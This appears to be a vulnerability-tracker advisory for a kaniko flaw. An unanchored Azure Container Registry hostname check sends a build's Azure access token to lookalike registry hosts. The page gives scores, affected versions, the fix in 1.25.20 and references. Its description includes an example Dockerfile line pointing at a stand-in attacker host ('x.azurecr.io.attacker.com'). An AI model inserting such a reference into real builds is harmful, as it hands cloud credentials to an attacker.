kaniko sends Azure access tokens to lookalike ACR registry hosts
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- Required
- Attack complexity
- Low
- Impact type
- Security bypass, Information disclosure
- Confidentiality · integrity · availability
- High · High · None
- Fix status
- Fixed
Attack profile from CVSS 3.1 · CNA. Fix status from CNA and GitHub. Impact type from CWE-346 and CWE-522.
Summary
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. The Azure Container Registry credential helper accepts any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us because its regular expression is unanchored, which is an origin validation error (CWE-346). An attacker who gets a Dockerfile to reference an image on such a lookalike host, such as x.azurecr.io.attacker.com, can obtain the build's Azure token without any RUN instruction or push. The token can be used against Azure Resource Manager with the identity's role assignments until it expires.
Written with Claude Haiku 5.5 from the sources below · 2026-11-05
Description from the CNA
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- No
- Technical impact
- Total
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| chainguard-dev | kaniko | before 1.25.20 | 1.25.20 | Patch available | CNA |
| — | github.com/chainguard-dev/kaniko (Go) | before 1.25.20 | 1.25.20 | Patch available | GHSA-5q7h-w9jf-cx97 |
- kaniko Vendorchainguard-dev Affected before 1.25.20 Fixed in 1.25.20 Patch available CNA
- github.com/chainguard-dev/kaniko (Go) Vendor— Affected before 1.25.20 Fixed in 1.25.20 Patch available GHSA-5q7h-w9jf-cx97
Remediation
Upgrade kaniko to version 1.25.20, which fixes this issue for both the chainguard kaniko product and the github.com/chainguard-dev/kaniko Go package. CISA does not list this vulnerability in its Known Exploited Vulnerabilities catalog.
Written with Claude Haiku 5.5 from the sources below · 2026-11-05
- Fix · CNA kaniko (chainguard) Fixed in 1.25.20
- Fix · GHSA-5q7h-w9jf-cx97 github.com/chainguard-dev/kaniko (Go) Fixed in 1.25.20 Advisory →
Timeline
- 2026-11-02 Threatist record created from CVE-2026-105769
- 2026-11-02 CISA SSVC decision points changed
- 2026-11-02 Priority changed: MEDIUM → LOW
- 2026-11-02 Affected versions changed · CNA
- 2026-11-04 Priority changed: LOW → MEDIUM
- 2026-11-05 Alias added: GHSA-5q7h-w9jf-cx97
- 2026-11-05 Fix available: Go/github.com/chainguard-dev/[email protected] · GHSA-5q7h-w9jf-cx97
- 2026-11-05 CVSS score added · GHSA-5q7h-w9jf-cx97
- 2026-11-05 Weakness changed · GHSA-5q7h-w9jf-cx97
- 2026-11-05 9 new references · GHSA-5q7h-w9jf-cx97
References
Other 5
- https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20
- https://github.com/chrismellard/docker-credential-acr-env/issues/21
- https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405
- https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48
- https://github.com/chainguard-forks/kaniko
More chainguard-dev vulnerabilities
- TI-2024-23955 apko Exposure of HTTP basic auth credentials in log output CVSS 3.1HIGH 7.5
- TI-2026-22680 kaniko has tar archive path traversal in build context extraction allows writing files outside destination directory CVSS 3.1HIGH 8.2
- TI-2026-30854 apko dirFS has a symlink-following path traversal that allows multiple entry points to escape the build root CVSS 3.1HIGH 7.5
- TI-2026-20302 apko affected by potential unbounded resource consumption in expandapk.ExpandApk on attacker-controlled .apk streams CVSS 3.1HIGH 7.5
- TI-2026-20284 apko is vulnerable to path traversal in apko dirFS which allows filesystem writes outside base CVSS 3.1HIGH 7.5
- TI-2026-20043 melange pipeline working-directory could allow command injection CVSS 3.1HIGH 8.8
Sources
- CVE-2026-105769 · CVE Program
- CVE-2026-105769 · NVD
- FIRST EPSS
- GHSA-5q7h-w9jf-cx97 · GitHub Advisory Database · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences